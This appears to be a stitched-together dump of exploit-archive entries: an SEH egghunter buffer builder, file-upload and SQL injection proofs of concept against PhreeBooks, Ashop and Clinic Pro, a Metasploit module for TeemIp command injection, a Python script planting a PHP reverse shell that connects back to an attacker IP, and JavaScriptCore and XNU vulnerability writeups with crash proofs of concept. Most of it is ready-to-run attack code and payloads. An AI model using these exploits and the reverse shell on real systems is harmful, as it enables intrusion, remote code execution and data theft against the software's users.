nseh = "\xeb\xf9\x90\x90" # jmp Short back
seh = "\x50\x15\x40" # Overwrite Seh - Golden Pivot !! - Works on all Editions
buffer = egghunter
buffer += "\x41" * (bufsize-len(buffer)-len(jmpback))
buffer += jmpback
buffer += nseh
buffer += seh
print "[+] Creating %s bytes payload for winxp and windows 7 ..." %len(buffer)
f = open ("egghunter-winxp-win7.txt", "w")
print "[+] File created!"
f.write(buffer)
f.close()
buffer = egghunter10
buffer += "\x41" * (bufsize-len(buffer)-len(jmpback))
buffer += jmpback
buffer += nseh
buffer += seh
print "[+] Creating %s bytes payload for windows 10 ..." %len(buffer)
f = open ("egghunter-win10.txt", "w")
print "[+] File created!"
f.write(buffer)
f.close()
PhreeBooks ERP v5.2.3 - Arbitrary File Upload
# Date: 03.04.2019
# Exploit Author: Abdullah Çelebi
# Vendor Homepage: https://www.phreesoft.com/
# Software Link: https://sourceforge.net/projects/phreebooks/files/latest/download
# Category: Webapps
# Version: 5.2.3
# Tested on: WAMPP @Win
# Software description:
PhreeBooks 5 is a completely new web based application that utilizes the
redesigned Bizuno ERP library from PhreeSoft. Bizuno supports PHP 7 along
with all the latest versions of mySQL. Additionally, Bizuno utilizes the
jQuery EasyUI graphical interface and will be also enhanced for mobile
devices and tablets.
# Vulnerabilities:
# An attacker could run a remote code after an authorized user login using
the parameter.
# Code Section @Tools>Image Manager
//
<script type="text/javascript">
function imgAction(action) { jq('#imgAction').val(action); imgRefresh(); }
function imgClickImg(strImage) {
var lastChar = strImage.substr(strImage.length - 1);
if (lastChar == '/') {
jq('#imgMgrPath').val(jq('#imgMgrPath').val()+'/'+strImage);
jq('#imgAction').val('refresh');
imgRefresh();
} else if (jq('#imgTarget').val()) {
var target = jq('#imgTarget').val();
var path = jq('#imgMgrPath').val();
var fullPath= path ? path+'/'+strImage : strImage;
jq('#imgTarget').val(fullPath);
jq('#'+target).val(fullPath);
jq('#img_'+target).attr('src',
bizunoAjaxFS+'&src=0/images/'+fullPath);
bizWindowClose('winImgMgr');
}
}
function imgRefresh() {
var target = jq('#imgTarget').val();
var path = jq('#imgMgrPath').val();
var search = jq('#imgSearch').val();
var action = jq('#imgAction').val();
var shref =
'index.php?&p=bizuno/image/manager&imgTarget='+target+'&imgMgrPath='+path+'&imgSearch='+search+'&imgAction=';
if (action == 'upload') {
jq('#frmImgMgr').submit(function (e) {
jq.ajax({
url: shref+'upload',
type: 'post',
data: new FormData(this),
mimeType: 'multipart/form-data',
contentType:false,
cache: false,
processData:false,
success: function (data) { processJson(data);
jq('#winImgMgr').window('refresh',shref+'refresh'); }
});
e.preventDefault();
});
jq('#frmImgMgr').submit();
} else {
jq('#winImgMgr').window('refresh', shref+action);
}
}
jq('#winImgMgr').window({'title':'Image Manager: /'});
</script>
# POC - RCE via Arbitrary File Upload :
Process during upload malicious file;
http://localhost/PhreeBooksERP/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload
Post section details;
imgSearch=&imgFile=evilcode_key.php
Result;
http://localhost/PhreeBooksERP/bizunoFS.php?&src=0/images/evilcode_key.php
# Exploit Title: Ashop Shopping Cart Software - SQL Injection
# Date: 03.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: http://www.ashopsoftware.com
# Software Link: https://sourceforge.net/projects/ashop/
# Demo Site: http://demo.ashopsoftware.com/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A
----- PoC: SQLi -----
Request: http://localhost/[PATH]/index.php?cat=1&exp=&shop=1
Vulnerable Parameter: shop (GET)
Payload: cat=1&exp=&shop=-5438') UNION ALL SELECT
CONCAT(0x71786b6a71,0x6357557777645143654a726369774c4167665278634a46617758614d66506b46434f4b7669565054,0x716a787671),NULL--
fmIb
# Title: Clinic Pro - Clinic Management Software
# Date: 03.04.2019
# Exploit Author: Abdullah Çelebi
# Vendor Homepage: https://softwebinternational.com
# Software Link: https://cms.softwebinternational.com
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
It is developed by PHP Codeigniter Framework with HMVC Pattern. Clinic
system can be easily configured and fully automated as per clinic
requirement using this Automation Software.
# Vulnerabilities:
# An attacker can access all data following an authorized user login using
the parameter.
# POC - SQLi :
# Parameter: month (POST)
# Request URL: http://localhost/welcome/monthly_expense_overview
# Type : boolean-based blind
month=06%' RLIKE (SELECT (CASE WHEN (9435=9435) THEN 06 ELSE 0x28 END)) AND
'%'='
# Type : time-based blind
month=06%' AND 4514=BENCHMARK(5000000,MD5(0x436d7970)) AND '%'='
# Type : error-based
month=06%' AND EXTRACTVALUE(2633,CONCAT(0x5c,0x7178766271,(SELECT
(ELT(2633=2633,1))),0x7171717171)) AND '%'='
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection",
'Description' => %q(
This module exploits a command injection vulnerability in TeemIp
versions prior to 2.4.0. The "new_config" parameter of "exec.php"
allows you to create a new PHP file with the exception of config information.
The malicious PHP code sent is executed instantaneously and is not saved on the server.
The vulnerability can be exploited by an authorized user (Administrator).
Module allows remote command execution by sending php payload with parameter 'new_config'.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
],
'References' =>
[
['URL', 'http://pentest.com.tr/exploits/TeemIp-IPAM-2-4-0-new-config-Command-Injection-Metasploit.html']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "Apr 03 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base TeemIp IPAM directory path", '/6']),
OptString.new('USERNAME', [true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [false, "Password to authenticate with", 'admin'])
]
)
end
##
# Login and cookie information gathering
##
def do_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pages', 'UI.php'),
'vars_post' => {
'auth_user' => datastore['username'],
'auth_pwd' => datastore['password'],
'loginop' => 'login'
}
)
unless res
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
if res.code == 200 && (res.body =~ /Logged in as/)
print_good("Authentication was successful")
@cookies = res.get_cookies
return
else
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Exploitation process with prepared information
##
def exploit
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@cookies = nil
do_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'pages', 'exec.php?exec_module=itop-config&exec_page=config.php&exec_env=production&c%5Bmenu%5D=ConfigEditor'),
'headers' => {
'Cookie' => @cookies
}
)
if res and res.code == 200 and res.body =~ /Identify yourself/
return do_login
else
transid = res.body.split('transaction_id" value="')[1].split('"')[0]
print_good("transaction_id : #{transid}")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'pages', 'exec.php?exec_module=itop-config&exec_page=config.php&exec_env=production&c%5Bmenu%5D=ConfigEditor'),
'vars_post' => {
"operation" => "save",
"transaction_id" => transid,
"prev_config" => "exec",
"new_config" => payload.encoded
},
'headers' => {
'Cookie' => @cookies
}
)
handler
end
##
# Version and Vulnerability Check
##
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pages', 'ajax.render.php'),
'vars_post' => {
"operation" => "about_box"
}
)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 200
version = res.body.split('iTop version ')[1].split('" src=')[0]
if version < '2.4.1'
print_status("#{peer} - Teemip Version is #{version}")
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
end
##
# End
##
end
# Exploit Title: PhreeBooks ERP 5.2.3 - Remote Command Execution
# Date: 2010-04-03
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://www.phreesoft.com/
# Software Link: https://sourceforge.net/projects/phreebooks/
# Version: v5.2.3
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software Description : PhreeBooks 5 is a completely new web based ERP / Accounting
# application that utilizes the redesigned Bizuno ERP library from PhreeSoft
# ==================================================================
# PoC: There are no file extension controls on Image Manager.
# If an authorized user is obtained, it is possible to run a malicious PHP file on the server.
# The following basic python exploit uploads and executes PHP File for you.
import requests
import sys
import urllib, re, random
if (len(sys.argv) != 2):
print "[*] Usage: poc.py <RHOST><RPATH> (192.168.1.10/test123)"
exit(0)
rhost = sys.argv[1]
# Information Inputs
UserName = str(raw_input("User Mail: "))
Password = str(raw_input("Password: "))
Aip = str(raw_input("Atacker IP: "))
APort = str(raw_input("Atacker Port: "))
Ready = str(raw_input("Do you listen to port "+APort+" through the IP address you attacked? Y/N "))
if Ready != "Y":
print "You should listen your port with NetCat or other handlers!"
sys.exit()
# Login
boundary = "1663866149167960781387708339"
url = "http://"+rhost+"/index.php?&p=bizuno/portal/login"
headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": "http://"+rhost+"/index.php?", "Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+"", "Connection": "close"}
ldata="-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"UserID\"\r\n\r\n"+UserName+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"UserPW\"\r\n\r\n"+Password+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"UserLang\"\r\n\r\nen_US\r\n-----------------------------"+boundary+"--\r\n"
r = requests.post(url, headers=headers, data=ldata)
cookies = r.headers['Set-Cookie']
cookie = re.split(r'\s', cookies)[6].replace(';','').replace('bizunoSession=','').strip()
Ucookie = re.split(r'\s', cookies)[13].replace(';','').replace('bizunoUser=','').strip()
# Upload
fname = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php3"
exec_url = "http://"+rhost+"/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload"
exec_cookies = {"bizunoLang": "en_US", "bizunoUser": ""+Ucookie+"", "bizunoSession": ""+cookie+""}
exec_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": "http://"+rhost+"/index.php?", "Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+"", "Connection": "close"}
exec_data="-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"imgSearch\"\r\n\r\n\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"imgFile\"; filename=\""+fname+"\"\r\nContent-Type: binary/octet-stream\r\n\r\n<?php\n $ipaddr='"+Aip+"';\n $port="+APort+";\n @error_reporting(0);\n @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);\n $dis=@ini_get('disable_functions');\n if(!empty($dis)){\n $dis=preg_replace('/[, ]+/', ',', $dis);\n $dis=explode(',', $dis);\n $dis=array_map('trim', $dis);\n }else{\n $dis=array();\n }\n \n\n if(!function_exists('gsMRl')){\n function gsMRl($c){\n global $dis;\n \n if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {\n $c=$c.\" 2>&1\\n\";\n }\n $oKFwG='is_callable';\n $iodQxhE='in_array';\n \n if($oKFwG('proc_open')and!$iodQxhE('proc_open',$dis)){\n $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);\n $o=NULL;\n while(!feof($pipes[1])){\n $o.=fread($pipes[1],1024);\n }\n @proc_close($handle);\n }else\n if($oKFwG('popen')and!$iodQxhE('popen',$dis)){\n $fp=popen($c,'r');\n $o=NULL;\n if(is_resource($fp)){\n while(!feof($fp)){\n $o.=fread($fp,1024);\n }\n }\n @pclose($fp);\n }else\n if($oKFwG('exec')and!$iodQxhE('exec',$dis)){\n $o=array();\n exec($c,$o);\n $o=join(chr(10),$o).chr(10);\n }else\n if($oKFwG('passthru')and!$iodQxhE('passthru',$dis)){\n ob_start();\n passthru($c);\n $o=ob_get_contents();\n ob_end_clean();\n }else\n if($oKFwG('shell_exec')and!$iodQxhE('shell_exec',$dis)){\n $o=shell_exec($c);\n }else\n if($oKFwG('system')and!$iodQxhE('system',$dis)){\n ob_start();\n system($c);\n $o=ob_get_contents();\n ob_end_clean();\n }else\n {\n $o=0;\n }\n \n return $o;\n }\n }\n $nofuncs='no exec functions';\n if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){\n $s=@fsockopen(\"tcp://192.168.1.11\",$port);\n while($c=fread($s,2048)){\n $out = '';\n if(substr($c,0,3) == 'cd '){\n chdir(substr($c,3,-1));\n } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {\n break;\n }else{\n $out=gsMRl(substr($c,0,-1));\n if($out===false){\n fwrite($s,$nofuncs);\n break;\n }\n }\n fwrite($s,$out);\n }\n fclose($s);\n }else{\n $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);\n @socket_connect($s,$ipaddr,$port);\n @socket_write($s,\"socket_create\");\n while($c=@socket_read($s,2048)){\n $out = '';\n if(substr($c,0,3) == 'cd '){\n chdir(substr($c,3,-1));\n } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {\n break;\n }else{\n $out=gsMRl(substr($c,0,-1));\n if($out===false){\n @socket_write($s,$nofuncs);\n break;\n }\n }\n @socket_write($s,$out,strlen($out));\n }\n @socket_close($s);\n }\n?>\n\r\n-----------------------------"+boundary+"--\r\n"
requests.post(exec_url, headers=exec_headers, cookies=exec_cookies, data=exec_data)
# Exec
requests.get("http://"+rhost+"/myFiles/images/"+fname+"")
/*
While fuzzing JavaScriptCore, I encountered the following (simplified and commented) JavaScript program which crashes jsc from current HEAD and release:
*/
function v9() {
// Some watchpoint (on the LexicalEnvironment) is triggered here
// during the 2nd invocation which jettisons the CodeBlock for v9.
// Trigger GC here (in the 2nd invocation) and free the jettisoned CodeBlock.
const v18 = [13.37,13.37,13.37,13.37];
for (const v43 in v18) {
const v47 = new Float64Array(65493);
}
// Trigger some other watchpoint here, jettisoning the same CodeBlock
// again and thus crashing when touching the already freed memory.
const v66 = RegExp();
// Seems to be required to get the desired compilation
// behaviour in DFG (OSR enter in a loop)...
for (let v69 = 0; v69 < 10000; v69++) {
function v70() {
const v73 = v66.test("asdf");
}
v70();
}
// Inserts elements into the Array prototype so the
// first loop runs longer in the second invocation.
for (let v114 = 13.37; v114 < 10000; v114++) {
const v127 = [].__proto__;
v127[v114] = 1337;
}
}
const v182 = /i/g;
const v183 = "ii";
v183.replace(v182,v9);
// (Jettisoning is the process of discarding a unit of JIT compiled code
// because it is no longer needed or is now unsafe to execute).
/*
When running in a debug build, it produces a crash similar to the following:
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbadce8c0)
frame #0: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(...) [inlined] std::__1::unique_ptr<...>::operator bool(this=0x00000000badce8c0) const at memory:2583
(lldb) up 2
frame #2: 0x000000010066d92e JavaScriptCore`JSC::CodeBlock::jettison(this=0x0000000109388b80, reason=JettisonDueToUnprofiledWatchpoint, mode=CountReoptimization, detail=0x00007ffeefbfc708) at CodeBlock.cpp:1957
(lldb) x/4gx this
0x109388b80: 0x0000000000000000 0x00000000badbeef0
0x109388b90: 0x00000000badbeef0 0x00000000badbeef0
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbadce8c0)
frame #0: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(...) [inlined] std::__1::unique_ptr<...>::operator bool(this=0x00000000badce8c0) const at memory:2583
frame #1: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(this=0x00000000badbeef0, codeBlock=0x0000000109388b80, summary="jettison", func=0x00007ffeefbfc570)::$_10 const&) at VMInlines.h:59
* frame #2: 0x000000010066d92e JavaScriptCore`JSC::CodeBlock::jettison(this=0x0000000109388b80, reason=JettisonDueToUnprofiledWatchpoint, mode=CountReoptimization, detail=0x00007ffeefbfc708) at CodeBlock.cpp:1957
frame #3: 0x0000000100674a86 JavaScriptCore`JSC::CodeBlockJettisoningWatchpoint::fireInternal(this=0x0000000106541c08, (null)=0x0000000106600000, detail=0x00007ffeefbfc708) at CodeBlockJettisoningWatchpoint.cpp:40
frame #4: 0x000000010072a86c JavaScriptCore`JSC::Watchpoint::fire(this=0x0000000106541c08, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:55
frame #5: 0x000000010072b014 JavaScriptCore`JSC::WatchpointSet::fireAllWatchpoints(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:140
frame #6: 0x000000010072add6 JavaScriptCore`JSC::WatchpointSet::fireAllSlow(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:91
frame #7: 0x000000010067f790 JavaScriptCore`void JSC::WatchpointSet::fireAll<JSC::FireDetail const>(this=0x00000001065bf6e0, vm=0x0000000106600000, fireDetails=0x00007ffeefbfc708) at Watchpoint.h:190
frame #8: 0x000000010072a3bc JavaScriptCore`JSC::WatchpointSet::touch(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.h:198
frame #9: 0x0000000100b0a41b JavaScriptCore`JSC::WatchpointSet::touch(this=0x00000001065bf6e0, vm=0x0000000106600000, reason="Executed NotifyWrite") at Watchpoint.h:203
frame #10: 0x0000000100b0a3c2 JavaScriptCore`::operationNotifyWrite(exec=0x00007ffeefbfc830, set=0x00000001065bf6e0) at DFGOperations.cpp:2457
As can be seen, the CodeBlock object has been freed by the GC and, since this is a debug build, overwritten with a poison value (0xbadbeef0).
It appears that what is happening here is roughly the following:
* The function v9 is called multiple times as callback during the string.replace operation
* During the first invocation, the function v9 is JIT compiled at one of the inner loops and execution switches to the JIT code
* The JIT compiled code has various dependencies on the outside environment in the form of Watchpoints
* During the 2nd invocation, the LexicalEnvironment of v9 is recreated, triggering a Watchpoint (presumably because the function was originally compiled at one of the inner loops) and jettisoning the associated CodeBlock
* At that point, there are no more references to the CodeBlock, and the following GC frees the object
* Still during the 2nd invocation, after GC, another Watchpoint of the previous JIT code fires, again trying to jettison the CodeBlock that has already been freed
The freeing of the CodeBlock by the GC is possible because the Watchpoint itself only has a raw pointer to the CodeBlock and not any kind of GC reference that would keep it alive (or be set to nullptr):
class CodeBlockJettisoningWatchpoint : public Watchpoint {
public:
CodeBlockJettisoningWatchpoint(CodeBlock* codeBlock)
: m_codeBlock(codeBlock)
{
}
protected:
void fireInternal(VM&, const FireDetail&) override;
private:
CodeBlock* m_codeBlock;
};
It appears that this scenario normally does not happen because the CodeBlock unlinks and frees its associated Watchpoints when it is destroyed.
However, the reference chain is CodeBlock ---(RefPtr)---> JITCode ---(owning reference)---> Watchpoints, and in this case the JITCode is being kept alive at the entrypoint (CachedCall::call) for the duration of callback, thus keeping the Watchpoints alive as well even though the CodeBlock has already been freed.
*/
/*
While fuzzing JavaScriptCore, I encountered the following JavaScript program which crashes jsc in current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc on macOS):
*/
// Run with --thresholdForFTLOptimizeAfterWarmUp=1000
// First array probably required to avoid COW backing storage or so...
const v3 = [1337,1337,1337,1337];
const v6 = [1337,1337];
function v7(v8) {
for (let v9 in v8) {
v8.a = 42;
const v10 = v8[-698666199];
}
}
while (true) {
const v14 = v7(v6);
const v15 = v7(1337);
}
/*
Note that the sample requires the FTL JIT threshold to be lowered in order to trigger. However, I also have a slightly modified version that (less reliably) crashes with the default threshold which I can share if that is helpful.
Following is my preliminary analysis of the crash.
During JIT compilation in the FTL tier, the JIT IR for v7 will have the following properties:
* A Structure check will be inserted for v8 due to the property access. The check will ensure that the array is of the correct type at runtime (ArrayWithInt32, with a property 'a')
* The loop header fetches the array length for the enumeration
* The element access into v8 is (incorrectly?) speculated to be InBounds, presumably because negative numbers are not actually valid array indices but instead regular property names
* As a result, the element access will be optimized into a CheckBounds node followed by a GetByVal node (both inside the loop body)
* The CheckBounds node compares the constant index against the array length which was loaded in the loop header
The IR for the function will thus look roughly as follows:
# Loop header
len = LoadArrayLength v8
// Do other loop header stuff
# Loop body
CheckStructure v8, expected_structure_id
StoreProperty v8, 'a', 42
CheckBounds -698666199, len // Bails out if index is OOB (always in this case...)
GetByVal v8, -698666199 // Loads the element from the backing storage without performing additional checks
// Jump back to beginning of loop
Here is what appears to be happening next during loop-invariant code motion (LICM), an optimization designed to move code inside a loop body in front of the loop if it doesn't need to be executed multiple times:
1. LICM determines that the CheckStructure node can be hoisted in front of the loop header and does so
2. LICM determines that the CheckBounds node can *not* be hoisted in front of the loop header as it depends on the array length which is only loaded in the loop header
3. LICM determines that the array access (GetByVal) can be hoisted in front of the loop (as it does not depend on any loop variables) and does so
As a result of the above, the IR is transformed roughly to the following:
StructureCheck v8, expected_structure_id
GetByVal v8, -698666199
# Loop header
len = LoadArrayLength v8
// Do other loop header stuff
# Loop body
StoreProperty v8, 'a', 42
CheckBounds -698666199, len
// Jump back to beginning of loop
As such, the (unchecked) array element access is now located before the loop header with the bounds check only happening afterwards inside the loop body. The provided PoC then crashes while accessing memory 698666199 * 8 bytes before the element vector for v6. It should be possible to turn this bug into arbitrary out-of-bounds access, but I haven't tried that.
Hoisting of GetByVal will only happen if safeToExecute (from DFGSafeToExecute.h) returns true. This function appears to only be concerned about type checks, so in this case it concludes that the GetByVal can be moved in front of the loop header as the StructureCheck (performing the type check) is also moved there. This seems to be the reason that the property store (v8.a = 42) is required as it forces a CheckStructure node which would otherwise be missing.
The invocations of v7 with a non-array argument (1337 in this case) seem to be necessary to not trigger a bailout in earlier JIT tiers too often, which would prevent the FTL JIT from ever compiling the function.
*/
Privileged IPC services in userspace often have to verify the security context of their client processes (such as whether the client is sandboxed, has a specific entitlement, or is signed by some code signing authority). This, in turn, requires a way to identify a client process. If PIDs are used for that purpose, the following attack becomes possible:
1. The (unprivileged) client process sends an IPC message to a privileged service
2. The client process terminates and spawns a privileged process into its PID
3. The privileged service performs the security check, but since the PID has been reused it performs it on the wrong process
This attack is feasible because the PID space is usually fairly small (e.g. 100000 for XNU) and PIDs can thus be wrapped around relatively quickly (in step 2 or up front). As such, on darwin platforms the recommended way to identify IPC clients for the purpose of performing security checks in userspace is to rely on the audit_token. In contrast to the PID, which wraps around at 100000, the audit_token additionally contains the pidversion, which is in essence a 32-bit PID (from bsd/kern/kern_fork.c):
proc_t
forkproc(proc_t parent_proc)
{
static int nextpid = 0, pidwrap = 0, nextpidversion = 0;
...;
/* Repeat until nextpid is a currently unused PID. */
nextpid++;
...;
nprocs++;
child_proc->p_pid = nextpid;
child_proc->p_responsible_pid = nextpid;
child_proc->p_idversion = nextpidversion++;
...;
When using audit_tokens, the previously described attack would now require creating two different processes which have the same pair of (pid, pidversion), which in turn would require spawning roughly 2**32 processes to wrap around the pidversion. However, the pidversion is additionally incremented during execve (from bsd/kern/kern_exec.c):
/* Update the process' identity version and set the security token */
p->p_idversion++;
This is likely done to prevent another attack where a process sends an IPC message, then immediately execve's a privileged binary. The problem here is that the pidversion is incremented "ad-hoc", without updating the global nextpidversion variable. With that it becomes possible to create two processes with the same (pid, pidversion) pair without wrapping around the 32-bit pidversion:
1. The initial exploit process is identified by the pair (pid: X, pidversion: Y)
2. The exploit performs 10000 execves to get (X, Y + 100000)
3. The exploit interacts with a privileged service which stores the client's audit_token (or directly uses it, in which case the following part becomes a race)
4. The exploit forks, with the parent processes immediately terminating, until it has the same PID again. This could, for example, require 99000 forks (because some PIDs are in use). The process now has (X, Y + 99000)
5. The exploit execves until it has (X, Y + 99999)
6. The exploit execves a privileged binary. The privileged binary will have (X, Y + 100000)
7. At this time the privileged service performs a security check of the client but will perform this check on the entitled process even though the request came from an unprivileged process
The attached PoC demonstrates this by showing that an IPC service can be tricked into believing that the client has a specific entitlement. To reproduce:
1. compile the attached code: `make`
2. start the helper service: `./service`. The service simply prints the value of a predefined entitlement (currently "com.apple.private.AuthorizationServices") of a connected client
3. in a separate shell start the exploit: `./exploit`.
4. once the exploit prints "[+] All done. Spawning sudo now", press enter in the shell where the helper service is running. It should now print the value of the entitlement.
The gained primitive (obtaining more or less arbitrary entitlements) can then e.g. be used as described here: https://gist.github.com/ChiChou/e3a50f00853b2fbfb1debad46e501121. Besides entitlements, it should also be possible to spoof code signatures this way. Furthermore, it might be possible to use this bug for a sandbox escape if one is able to somehow perform execve (there are multiple sandboxed services and applications that have (allow process-exec) in their sandbox profile for example). In that case, one could spawn a non-sandboxed system service into the same (pid, pidversion) pair prior to performing some IPC operations where the endpoint will do a sandbox_check_by_audit_token. However, precisely spawning a non-sandboxed process into the same (pid, pidversion) will likely be a lot less reliable.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46648.zip
/*
Prerequisites
-------------
In JavaScriptCore, JSObjects have an associated Structure: an object describing various aspects of the JSObject such as its type, its properties, and the type of elements being stored (e.g. unboxed double or JSValues). Whenever a property is added to an object (or some other aspect of it is changed), a new structure is allocated which now also contains the new property. This "structure transition" is then cached so that the same structure can be reused for similar transitions in the future.
Arrays in JavaScriptCore can have different indexing modes: the contiguous modes (ArrayWithInt32, ArrayWithDouble, ArrayWithContiguous), and modes used for sparse arrays (ArrayWitArrayStorage, ArrayWithSlowPutArrayStorage). JavaScriptCore has a notion of "having a bad time" (JSGlobalObject::haveABadTime). This is the case when an object in the array prototype chain has indexed accessors. In that case, the indexing mode of all arrays is switched to ArrayWithSlowPutStorage, which indicates that element stores to holes have to consult the prototype chain. The engine will "have a bad time" as soon as an object in the default prototype chain of Arrays has an indexed accessor.
JavaScriptCore can track types of properties using the inferred type mechanism. Essentially, the first time a property is created, an inferred type for the property is installed and linked to the structure. The inferred type is based on the initial value of the property. For example: setting a property .x for the first time with a value of 42 would initialize the inferred type for .x to be "Int32". If the same property (on any Object referencing it) is assigned a new value, the inferred type for that property is "widened" to include all previous types and the new type. For example: if later on a double value is stored in property .x, the new inferred type for that property would be "Number". See InferredType::Descriptor::merge for the exact rules. Besides primitive types and "Object", inferred types can also be "ObjectWithStructure", in which case the property is known to be an object with a specific structure. The DFG and FTL JIT compilers make use of inferred types to omit type checks. Consider the following code:
function foo(o) {
return o.a.b;
}
Assuming that the inferred type for the .a property is ObjectWithStructure, then the compiler is able to use the inferred type to omit the StructureCheck for o.a and will thus only emit a single StructureCheck for o.
Vulnerability Details
---------------------
The inferred type mechanism is secured via watchpoints: whenever a piece of JIT code relies on inferred types, it installs a callback (called Watchpoint) on the inferred type to trigger whenever it is widened. In that case the JIT code is discarded as it is no longer safe to execute. Code that updates a property value is then required to check whether the inferred type is still consistent with the new value and if not widen it and trigger Watchpoints. This is done e.g. in Structure::willStoreValueForExistingTransition. As such, every "direct" property store, one that does not update inferred types, could now be a security bug as it could violate inferred types. JSObject::putDirect is such an example:
void putDirect(VM& vm, PropertyOffset offset, JSValue value) { locationForOffset(offset)->set(vm, this, value); }
The function directly stores the provided value to the given property slot without accounting for inferred types, which the caller is supposed to do. Looking for cross references to said function leads to createRegExpMatchesArray (used e.g. for %String.prototype.match) which in essence does:
let array = newArrayWithStructure(regExpMatchesArrayWithGroupsStructure);
array->putDirect(vm, RegExpMatchesArrayIndexPropertyOffset, index)
array->putDirect(vm, RegExpMatchesArrayInputPropertyOffset, input)
array->putDirect(vm, RegExpMatchesArrayGroupsPropertyOffset, groups)
As such, if it was possible to get the engine to set an inferred type for one of the three properties of the regExpMatchesArrayWithGroupsStructure structure, one could then invalidate the inferred type through %String.prototype.match without firing watchpoints. The regExpMatchesArrayWithGroupsStructure is created during initialization of the engine by following this pseudo code:
let structure = arrayStructureForIndexingTypeDuringAllocation(ArrayWithContiguous);
structure = Structure::addPropertyTransition(vm, structure, "index");
structure = Structure::addPropertyTransition(vm, structure, "input");
regExpMatchesArrayWithGroupsStructure = Structure::addPropertyTransition(vm, structure, "groups");
It is thus possible to manually construct an object having the regExpMatchesArrayWithGroupsStructure as structure like this:
var a = ["a", "b", "c"]; // ArrayWithContiguous
a.index = 42;
a.input = "foo";
a.groups = null;
Unfortunately, as the regExpMatchesArrayWithGroupsStructure is created at initialization time of the engine, no inferred type will be set for any of the properties as no property value is available for the initial structure transition.
However, regExpMatchesArrayWithGroupsStructure is re-created when the engine is having a bad time. In that case, all arrays will now use ArrayWithSlowPutArrayStorage mode. For that reason, a new structure for regExpMatchesArrayWithGroupsStructure is created as well which now uses ArrayWithSlowPutArrayStorage instead of ArrayWithContiguous as base structure. As such, if somehow it was possible to create the resulting regExpMatchesArrayWithGroupsStructure before the engine has a bad time, then inferred types could be installed on said structure. It is rather tricky to construct an array that has the default array prototype and uses ArrayWithSlowPutArrayStorage mode, as that mode is only used when a prototype has indexed accessors. However, it is possible using the following code:
// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
function createArrayWithSlowPutArrayStorage() {
let protoWithIndexedAccessors = {};
